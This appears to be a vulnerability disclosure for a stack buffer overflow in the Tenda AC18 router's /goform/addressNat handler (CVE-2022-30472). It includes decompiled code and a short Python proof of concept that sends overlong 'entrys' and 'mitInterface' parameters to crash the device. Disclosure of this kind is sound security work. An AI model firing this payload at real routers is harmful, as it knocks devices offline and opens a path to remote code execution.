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lcyfrank [*] Some CNVDs are assigned ...

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Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/addressNat` page which influences the latest version of Tenda Router AC18. (The latest version is [AC18_V15.03.05.19\(6318\)](#))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `fromAddressNat`.

In function `fromAddressNat` it reads 2 user provided parameters `entrys` and `mitInterface` into `v9` and `v8`, and these two variables are passed into function `sprintf` without any length check, which may overflow the stack-based buffer `s`.

```

1 int __fastcall fromAddressNat(int a1)
2 {
3     int v1; // r0
4     char v4[256]; // [sp+14h] [bp-418h] BYREF
5     char s[512]; // [sp+114h] [bp-318h] BYREF
6     char v6[256]; // [sp+314h] [bp-118h] BYREF
7     const char *v7; // [sp+414h] [bp-18h]
8     const char *v8; // [sp+418h] [bp-14h]
9     const char *v9; // [sp+41Ch] [bp-10h]
10
11     memset(v4, 0, sizeof(v4));
12     v9 = (const char *)websgetvar(a1, (int)"entrys", (int)&unk_E5B90);
13     v8 = (const char *)websgetvar(a1, (int)"mitInterface", (int)&unk_E5B90);
14     sprintf(s, "%s;%s", v9, v8);
15     sub_4EAF0("adv.addrnat", s, 126);
16     v7 = (const char *)websgetvar(a1, (int)"page", (int)"1");
17     v1 = sprintf(v6, "advance/addressNatList.asp?page=%s", v7);
18     if (CommitCfm(v1) )
19     {
20         sprintf(v4, "advance_type=%d", 7);
21         send_msg_to_netctrl(5, v4);
22     }
23     return sub_2BE4C(a1, v6);
24 }

```

So by requesting the page /goform/addressNat , the attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

```
import requests
```

```

IP = "10.10.10.1"
url = f"http://{IP}/goform/addressNat?"
url += "entrys=" + "s" * 0x200
url += "&mitInterface=" + "a" * 0x200

```

```
response = requests.get(url)
```

Timeline

- 2022-05-05: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30472)
- 2022-06-03: CNVD ID assigned (CNVD-2022-43056)

Acknowledge

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